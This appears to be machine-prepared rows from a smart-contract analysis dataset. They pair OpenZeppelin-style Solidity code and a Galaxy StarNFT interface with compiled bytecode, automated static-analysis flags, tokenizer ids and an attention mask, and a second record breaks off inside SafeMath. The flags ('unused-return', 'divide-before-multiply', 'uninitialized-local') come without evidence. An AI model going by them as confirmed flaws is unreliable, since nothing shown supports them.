onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /* Copyright 2021 Project Galaxy. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.7.6; import "IERC1155.sol"; /** * @title IStarNFT * @author Galaxy Protocol * * Interface for operating with StarNFTs. */ interface IStarNFT is IERC1155 { /* ============ Events =============== */ // event PowahUpdated(uint256 indexed id, uint256 indexed oldPoints, uint256 indexed newPoints); /* ============ Functions ============ */ function isOwnerOf(address, uint256) external view returns (bool); function getNumMinted() external view returns (uint256); // function starInfo(uint256) external view returns (uint128 powah, uint128 mintBlock, address originator); // function quasarInfo(uint256) external view returns (uint128 mintBlock, IERC20 stakeToken, uint256 amount, uint256 campaignID); // function superInfo(uint256) external view returns (uint128 mintBlock, IERC20[] memory stakeToken, uint256[] memory amount, uint256 campaignID); // mint function mint(address account, uint256 powah) external returns (uint256); function mintBatch(address account, uint256 amount, uint256[] calldata powahArr) external returns (uint256[] memory); function burn(address account, uint256 id) external; function burnBatch(address account, uint256[] calldata ids) external; // asset-backing mint // function mintQuasar(address account, uint256 powah, uint256 cid, IERC20 stakeToken, uint256 amount) external returns (uint256); // function burnQuasar(address account, uint256 id) external; // asset-backing forge // function mintSuper(address account, uint256 powah, uint256 campaignID, IERC20[] calldata stakeTokens, uint256[] calldata amounts) external returns (uint256); // function burnSuper(address account, uint256 id) external; // update // function updatePowah(address owner, uint256 id, uint256 powah) external; }
0x608060405234801561001057600080fd5b506004361061018d5760003560e01c80638da5cb5b116100de578063b921e16311610097578063e985e9c511610071578063e985e9c5146108fc578063f242432a1461092a578063f2fde38b146109f3578063f46eccc414610a195761018d565b8063b921e163146108ab578063bc479c3a146108c8578063c5b8f772146108d05761018d565b80638da5cb5b1461076c578063983b2d561461079057806398e52f9a146107b65780639dc29fac146107d3578063a22cb465146107ff578063b2dc5dc31461082d5761018d565b80633092afd51161014b5780634e1273f4116101255780634e1273f4146105665780636c0360eb146106d957806370c2f239146106e1578063715018a6146107645761018d565b80633092afd51461050c5780633726230a1461053257806340c10f191461053a5761018d565b8062fdd58e1461019257806301ffc9a7146101d057806302fe53051461020b5780630e89341c146102b157806318160ddd146103435780632eb2c2d61461034b575b600080fd5b6101be600480360360408110156101a857600080fd5b506001600160a01b038135169060200135610a3f565b60408051918252519081900360200190f35b6101f7600480360360208110156101e657600080fd5b50356001600160e01b031916610aae565b604080519115158252519081900360200190f35b6102af6004803603602081101561022157600080fd5b810190602081018135600160201b81111561023b57600080fd5b82018360208201111561024d57600080fd5b803590602001918460018302840111600160201b8311171561026e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610ad1945050505050565b005b6102ce600480360360208110156102c757600080fd5b5035610b4a565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103085781810151838201526020016102f0565b50505050905090810190601f1680156103355780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be610ca8565b6102af600480360360a081101561036157600080fd5b6001600160a01b038235811692602081013590911691810190606081016040820135600160201b81111561039457600080fd5b8201836020820111156103a657600080fd5b803590602001918460208302840111600160201b831117156103c757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561041657600080fd5b82018360208201111561042857600080fd5b803590602001918460208302840111600160201b8311171561044957600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561049857600080fd5b8201836020820111156104aa57600080fd5b803590602001918460018302840111600160201b831117156104cb57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610cae945050505050565b6102af6004803603602081101561052257600080fd5b50356001600160a01b0316610fac565b6101be6110bc565b6101be6004803603604081101561055057600080fd5b506001600160a01b0381351690602001356110c3565b6106896004803603604081101561057c57600080fd5b810190602081018135600160201b81111561059657600080fd5b8201836020820111156105a857600080fd5b803590602001918460208302840111600160201b831117156105c957600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561061857600080fd5b82018360208201111561062a57600080fd5b803590602001918460208302840111600160201b8311171561064b57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506111ac945050505050565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156106c55781810151838201526020016106ad565b505050509050019250505060405180910390f35b6102ce611298565b610689600480360360608110156106f757600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561072657600080fd5b82018360208201111561073857600080fd5b803590602001918460208302840111600160201b8311171561075957600080fd5b509092509050611326565b6102af6114e5565b610774611591565b604080516001600160a01b039092168252519081900360200190f35b6102af600480360360208110156107a657600080fd5b50356001600160a01b03166115a0565b6102af600480360360208110156107cc57600080fd5b503561170e565b6102af600480360360408110156107e957600080fd5b506001600160a01b038135169060200135611783565b6102af6004803603604081101561081557600080fd5b506001600160a01b0381351690602001351515611841565b6102af6004803603604081101561084357600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561086d57600080fd5b82018360208201111561087f57600080fd5b803590602001918460208302840111600160201b831117156108a057600080fd5b509092509050611930565b6102af600480360360208110156108c157600080fd5b5035611a9a565b6101be611b09565b6101f7600480360360408110156108e657600080fd5b506001600160a01b038135169060200135611b0f565b6101f76004803603604081101561091257600080fd5b506001600160a01b0381358116916020013516611b25565b6102af600480360360a081101561094057600080fd5b6001600160a01b03823581169260208101359091169160408201359160608101359181019060a081016080820135600160201b81111561097f57600080fd5b82018360208201111561099157600080fd5b803590602001918460018302840111600160201b831117156109b257600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611b53945050505050565b6102af60048036036020811015610a0957600080fd5b50356001600160a01b0316611d1e565b6101f760048036036020811015610a2f57600080fd5b50356001600160a01b0316611e21565b60006001600160a01b038316610a865760405162461bcd60e51b815260040180806020018281038252602b815260200180612d45602b913960400191505060405180910390fd5b5060009081526001602090815260408083206001600160a01b03949094168352929052205490565b6001600160e01b0319811660009081526020819052604090205460ff165b919050565b610ad9611e36565b6001600160a01b0316610aea611591565b6001600160a01b031614610b33576040805162461bcd60e51b81526020600482018190526024820152600080516020612e87833981519152604482015290519081900360640190fd5b8051610b46906005906020840190612b9c565b5050565b6060600754821115610b98576040805162461bcd60e51b815260206004820152601260248201527113919508191bd95cc81b9bdd08195e1a5cdd60721b604482015290519081900360640190fd5b60055460026000196101006001841615020190911604610bc75750604080516020810190915260008152610acc565b6005610bd283611e3a565b6040516020018083805460018160011615610100020316600290048015610c305780601f10610c0e576101008083540402835291820191610c30565b820191906000526020600020905b815481529060010190602001808311610c1c575b5050825160208401908083835b60208310610c5c5780518252601f199092019160209182019101610c3d565b6001836020036101000a0380198251168184511680821785525050505050509050018064173539b7b760d91b815250600501925050506040516020818303038152906040529050610acc565b60085481565b8151835114610cee5760405162461bcd60e51b8152600401808060200182810382526028815260200180612ef96028913960400191505060405180910390fd5b6001600160a01b038416610d335760405162461bcd60e51b8152600401808060200182810382526025815260200180612de36025913960400191505060405180910390fd5b610d3b611e36565b6001600160a01b0316856001600160a01b03161480610d665750610d6685610d61611e36565b611b25565b610da15760405162461bcd60e51b8152600401808060200182810382526032815260200180612e086032913960400191505060405180910390fd5b6000610dab611e36565b9050610dbb818787878787610fa4565b60005b8451811015610ebc576000858281518110610dd557fe5b602002602001015190506000858381518110610ded57fe5b60200260200101519050610e5a816040518060600160405280602a8152602001612e5d602a91396001600086815260200190815260200160002060008d6001600160a01b03166001600160a01b0316815260200190815260200160002054611f1c9092919063ffffffff16565b60008381526001602090815260408083206001600160a01b038e811685529252808320939093558a1681522054610e919082611fb3565b60009283526001602081815260408086206001600160a01b038d168752909152909320555001610dbe565b50846001600160a01b0316866001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b83811015610f42578181015183820152602001610f2a565b50505050905001838103825284818151815260200191508051906020019060200280838360005b83811015610f81578181015183820152602001610f69565b5050505090500194505050505060405180910390a4610fa481878787878761200d565b505050505050565b610fb4611e36565b6001600160a01b0316610fc5611591565b6001600160a01b03161461100e576040805162461bcd60e51b81526020600482018190526024820152600080516020612e87833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526006602052604090205460ff16611073576040805162461bcd60e51b8152602060048201526015602482015274135a5b9d195c88191bd95cc81b9bdd08195e1a5cdd605a1b604482015290519081900360640190fd5b6001600160a01b038116600081815260066020526040808220805460ff19169055517f7df677640dd30a79584f8ecea06aeea15d215b861c5d3b5f8c26962d691f820e9190a250565b6007545b90565b3360009081526006602052604081205460ff16611118576040805162461bcd60e51b815260206004820152600e60248201526d36bab9ba1031329036b4b73a32b960911b604482015290519081900360640190fd5b600061113160075460085461228c90919063ffffffff16565b1161117b576040805162461bcd60e51b8152602060048201526015602482015274457863656564656420746f74616c20737570706c7960581b604482015290519081900360640190fd5b600780546001908101918290556040805160208101909152600081526111a59186918491906122e9565b9392505050565b606081518351146111ee5760405162461bcd60e51b8152600401808060200182810382526029815260200180612ed06029913960400191505060405180910390fd5b6000835167ffffffffffffffff8111801561120857600080fd5b50604051908082528060200260200182016040528015611232578160200160208202803683370190505b50905060005b84518110156112905761127185828151811061125057fe5b602002602001015185838151811061126457fe5b6020026020010151610a3f565b82828151811061127d57fe5b6020908102919091010152600101611238565b509392505050565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561131e5780601f106112f35761010080835404028352916020019161131e565b820191906000526020600020905b81548152906001019060200180831161130157829003601f168201915b505050505081565b3360009081526006602052604090205460609060ff1661137e576040805162461bcd60e51b815260206004820152600e60248201526d36bab9ba1031329036b4b73a32b960911b604482015290519081900360640190fd5b8361139660075460085461228c90919063ffffffff16565b10156113e1576040805162461bcd60e51b8152602060048201526015602482015274457863656564656420746f74616c20737570706c7960581b604482015290519081900360640190fd5b60008467ffffffffffffffff811180156113fa57600080fd5b50604051908082528060200260200182016040528015611424578160200160208202803683370190505b50905060008567ffffffffffffffff8111801561144057600080fd5b5060405190808252806020026020018201604052801561146a578160200160208202803683370190505b50905060005b82518110156114bf576007805460010190819055835184908390811061149257fe5b60200260200101818152505060018282815181106114ac57fe5b6020908102919091010152600101611470565b506114db878383604051806020016040528060008152506123f1565b5095945050505050565b6114ed611e36565b6001600160a01b03166114fe611591565b6001600160a01b031614611547576040805162461bcd60e51b81526020600482018190526024820152600080516020612e87833981519152604482015290519081900360640190fd5b6004546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600480546001600160a01b0319169055565b6004546001600160a01b031690565b6115a8611e36565b6001600160a01b03166115b9611591565b6001600160a01b031614611602576040805162461bcd60e51b81526020600482018190526024820152600080516020612e87833981519152604482015290519081900360640190fd5b6001600160a01b03811661165d576040805162461bcd60e51b815260206004820152601f60248201527f4d696e746572206d757374206e6f74206265206e756c6c206164647265737300604482015290519081900360640190fd5b6001600160a01b03811660009081526006602052604090205460ff16156116c2576040805162461bcd60e51b8152602060048201526014602482015273135a5b9d195c88185b1c9958591e48185919195960621b604482015290519081900360640190fd5b6001600160a01b038116600081815260066020526040808220805460ff19166001179055517f3a159411d00fa06a3ec11d4578931f1b7f877cceadb1e083929d74ec020cb2439190a250565b611716611e36565b6001600160a01b0316611727611591565b6001600160a01b031614611770576040805162461bcd60e51b81526020600482018190526024820152600080516020612e87833981519152604482015290519081900360640190fd5b60085461177d908261228c565b60085550565b3360009081526006602052604090205460ff166117d8576040805162461bcd60e51b815260206004820152600e60248201526d36bab9ba1031329036b4b73a32b960911b604482015290519081900360640190fd5b6117e482610d61611e36565b611835576040805162461bcd60e51b815260206004820152601f60248201527f455243313135353a2063616c6c6572206973206e6f7420617070726f76656400604482015290519081900360640190fd5b610b468282600161263f565b816001600160a01b0316611853611e36565b6001600160a01b031614156118995760405162461bcd60e51b8152600401808060200182810382526029815260200180612ea76029913960400191505060405180910390fd5b80600260006118a6611e36565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff1916921515929092179091556118ea611e36565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405180821515815260200191505060405180910390a35050565b3360009081526006602052604090205460ff16611985576040805162461bcd60e51b815260206004820152600e60248201526d36bab9ba1031329036b4b73a32b960911b604482015290519081900360640190fd5b61199183610d61611e36565b6119e2576040805162461bcd60e51b815260206004820152601f60248201527f455243313135353a2063616c6c6572206973206e6f7420617070726f76656400604482015290519081900360640190fd5b60008167ffffffffffffffff811180156119fb57600080fd5b50604051908082528060200260200182016040528015611a25578160200160208202803683370190505b50905060005b82811015611a54576001828281518110611a4157fe5b6020908102919091010152600101611a2b565b50611a9484848480806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250869250612772915050565b50505050565b611aa2611e36565b6001600160a01b0316611ab3611591565b6001600160a01b031614611afc576040805162461bcd60e51b81526020600482018190526024820152600080516020612e87833981519152604482015290519081900360640190fd5b60085461177d9082611fb3565b60075481565b6000611b1b8383610a3f565b6001149392505050565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205460ff1690565b6001600160a01b038416611b985760405162461bcd60e51b8152600401808060200182810382526025815260200180612de36025913960400191505060405180910390fd5b611ba0611e36565b6001600160a01b0316856001600160a01b03161480611bc65750611bc685610d61611e36565b611c015760405162461bcd60e51b8152600401808060200182810382526029815260200180612dba6029913960400191505060405180910390fd5b6000611c0b611e36565b9050611c2b818787611c1c886129e0565b611c25886129e0565b87610fa4565b611c72836040518060600160405280602a8152602001612e5d602a913960008781526001602090815260408083206001600160a01b038d1684529091529020549190611f1c565b60008581526001602090815260408083206001600160a01b038b81168552925280832093909355871681522054611ca99084611fb3565b60008581526001602090815260408083206001600160a01b03808b168086529184529382902094909455805188815291820187905280518a8416938616927fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f6292908290030190a4610fa4818787878787612a25565b611d26611e36565b6001600160a01b0316611d37611591565b6001600160a01b031614611d80576040805162461bcd60e51b81526020600482018190526024820152600080516020612e87833981519152604482015290519081900360640190fd5b6001600160a01b038116611dc55760405162461bcd60e51b8152600401808060200182810382526026815260200180612d706026913960400191505060405180910390fd5b6004546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600480546001600160a01b0319166001600160a01b0392909216919091179055565b60066020526000908152604090205460ff1681565b3390565b606081611e5f57506040805180820190915260018152600360fc1b6020820152610acc565b8160005b8115611e7757600101600a82049150611e63565b60008167ffffffffffffffff81118015611e9057600080fd5b506040519080825280601f01601f191660200182016040528015611ebb576020820181803683370190505b509050815b8515611f1357600019016000600a8704600a028703603001905060008160f81b905080848481518110611eef57fe5b60200101906001600160f81b031916908160001a905350600a880497505050611ec0565b50949350505050565b60008184841115611fab5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611f70578181015183820152602001611f58565b50505050905090810190601f168015611f9d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000828201838110156111a5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b61201f846001600160a01b0316612b96565b15610fa457836001600160a01b031663bc197c8187878686866040518663ffffffff1660e01b815260040180866001600160a01b03168152602001856001600160a01b03168152602001806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b838110156120ad578181015183820152602001612095565b50505050905001848103835286818151815260200191508051906020019060200280838360005b838110156120ec5781810151838201526020016120d4565b50505050905001848103825285818151815260200191508051906020019080838360005b83811015612128578181015183820152602001612110565b50505050905090810190601f1680156121555780820380516001836020036101000a031916815260200191505b5098505050505050505050602060405180830381600087803b15801561217a57600080fd5b505af192505050801561219f57506040513d602081101561219a57600080fd5b505160015b612234576121ab612c43565b806121b657506121fd565b60405162461bcd60e51b8152602060048201818152835160248401528351849391928392604401919085019080838360008315611f70578181015183820152602001611f58565b60405162461bcd60e51b8152600401808060200182810382526034815260200180612ce96034913960400191505060405180910390fd5b6001600160e01b0319811663bc197c8160e01b146122835760405162461bcd60e51b8152600401808060200182810382526028815260200180612d1d6028913960400191505060405180910390fd5b50505050505050565b6000828211156122e3576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6001600160a01b03841661232e5760405162461bcd60e51b8152600401808060200182810382526021815260200180612f216021913960400191505060405180910390fd5b6000612338611e36565b905061234a81600087611c1c886129e0565b60008481526001602090815260408083206001600160a01b03891684529091529020546123779084611fb3565b60008581526001602090815260408083206001600160a01b03808b16808652918452828520959095558151898152928301889052815190948616927fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f6292908290030190a46123ea81600087878787612a25565b5050505050565b6001600160a01b0384166124365760405162461bcd60e51b8152600401808060200182810382526021815260200180612f216021913960400191505060405180910390fd5b81518351146124765760405162461bcd60e51b8152600401808060200182810382526028815260200180612ef96028913960400191505060405180910390fd5b6000612480611e36565b905061249181600087878787610fa4565b60005b84518110156125555761250c600160008784815181106124b057fe5b602002602001015181526020019081526020016000206000886001600160a01b03166001600160a01b03168152602001908152602001600020548583815181106124f657fe5b6020026020010151611fb390919063ffffffff16565b6001600087848151811061251c57fe5b602090810291909101810151825281810192909252604090810160009081206001600160a01b038b168252909252902055600101612494565b50846001600160a01b031660006001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b838110156125dc5781810151838201526020016125c4565b50505050905001838103825284818151815260200191508051906020019060200280838360005b8381101561261b578181015183820152602001612603565b5050505090500194505050505060405180910390a46123ea8160008787878761200d565b6001600160a01b0383166126845760405162461bcd60e51b8152600401808060200182810382526023815260200180612e3a6023913960400191505060405180910390fd5b600061268e611e36565b90506126be818560006126a0876129e0565b6126a9876129e0565b60405180602001604052806000815250610fa4565b61270582604051806060016040528060248152602001612d966024913960008681526001602090815260408083206001600160a01b038b1684529091529020549190611f1c565b60008481526001602090815260408083206001600160a01b03808a16808652918452828520959095558151888152928301879052815193949093908616927fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f6292908290030190a450505050565b6001600160a01b0383166127b75760405162461bcd60e51b8152600401808060200182810382526023815260200180612e3a6023913960400191505060405180910390fd5b80518251146127f75760405162461bcd60e51b8152600401808060200182810382526028815260200180612ef96028913960400191505060405180910390fd5b6000612801611e36565b905061282181856000868660405180602001604052806000815250610fa4565b60005b83518110156128ff576128b683828151811061283c57fe5b6020026020010151604051806060016040528060248152602001612d96602491396001600088868151811061286d57fe5b602002602001015181526020019081526020016000206000896001600160a01b03166001600160a01b0316815260200190815260200160002054611f1c9092919063ffffffff16565b600160008684815181106128c657fe5b602090810291909101810151825281810192909252604090810160009081206001600160a01b038a168252909252902055600101612824565b5060006001600160a01b0316846001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8686604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b8381101561298657818101518382015260200161296e565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156129c55781810151838201526020016129ad565b5050505090500194505050505060405180910390a450505050565b60408051600180825281830190925260609160009190602080830190803683370190505090508281600081518110612a1457fe5b602090810291909101015292915050565b612a37846001600160a01b0316612b96565b15610fa457836001600160a01b031663f23a6e6187878686866040518663ffffffff1660e01b815260040180866001600160a01b03168152602001856001600160a01b0316815260200184815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612ac6578181015183820152602001612aae565b50505050905090810190601f168015612af35780820380516001836020036101000a031916815260200191505b509650505050505050602060405180830381600087803b158015612b1657600080fd5b505af1925050508015612b3b57506040513d6020811015612b3657600080fd5b505160015b612b47576121ab612c43565b6001600160e01b0319811663f23a6e6160e01b146122835760405162461bcd60e51b8152600401808060200182810382526028815260200180612d1d6028913960400191505060405180910390fd5b3b151590565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282612bd25760008555612c18565b82601f10612beb57805160ff1916838001178555612c18565b82800160010185558215612c18579182015b82811115612c18578251825591602001919060010190612bfd565b50612c24929150612c28565b5090565b5b80821115612c245760008155600101612c29565b60e01c90565b600060443d1015612c53576110c0565b600481823e6308c379a0612c678251612c3d565b14612c71576110c0565b6040513d600319016004823e80513d67ffffffffffffffff8160248401118184111715612ca157505050506110c0565b82840192508251915080821115612cbb57505050506110c0565b503d83016020828401011115612cd3575050506110c0565b601f01601f191681016020016040529150509056fe455243313135353a207472616e7366657220746f206e6f6e2045524331313535526563656976657220696d706c656d656e746572455243313135353a204552433131353552656365697665722072656a656374656420746f6b656e73455243313135353a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373455243313135353a206275726e20616d6f756e7420657863656564732062616c616e6365455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564455243313135353a207472616e7366657220746f20746865207a65726f2061646472657373455243313135353a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564455243313135353a206275726e2066726f6d20746865207a65726f2061646472657373455243313135353a20696e73756666696369656e742062616c616e636520666f72207472616e736665724f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572455243313135353a2073657474696e6720617070726f76616c2073746174757320666f722073656c66455243313135353a206163636f756e747320616e6420696473206c656e677468206d69736d61746368455243313135353a2069647320616e6420616d6f756e7473206c656e677468206d69736d61746368455243313135353a206d696e7420746f20746865207a65726f2061646472657373a2646970667358221220ed32e8449569e02fdb1b5a3b2c8133ec5982f0f72c9657c1ea74070eeb64ca3264736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 4215, 14526, 2094, 20842, 2692, 2581, 2581, 2475, 2050, 2509, 4246, 2094, 2549, 7011, 2475, 2050, 2683, 2546, 2683, 27717, 12521, 2050, 2620, 2683, 2683, 2497, 2549, 2278, 2475, 14141, 1013, 1008, 9385, 25682, 2622, 9088, 1012, 7000, 2104, 1996, 15895, 6105, 1010, 2544, 1016, 1012, 1014, 1006, 1996, 1000, 6105, 1000, 1007, 1025, 2017, 2089, 2025, 2224, 2023, 5371, 3272, 1999, 12646, 2007, 1996, 6105, 1012, 2017, 2089, 6855, 1037, 6100, 1997, 1996, 6105, 2012, 8299, 1024, 1013, 1013, 7479, 1012, 15895, 1012, 8917, 1013, 15943, 1013, 6105, 1011, 1016, 1012, 1014, 4983, 3223, 2011, 12711, 2375, 2030, 3530, 2000, 1999, 3015, 1010, 4007, 5500, 2104, 1996, 6105, 2003, 5500, 2006, 2019, 1000, 2004, 2003, 1000, 3978, 1010, 2302, 10943, 3111, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,377
0x96aeaa1c0255f6a5cea795e24228666d7a25d1a8
// File: openzeppelin-solidity\contracts\math\SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return 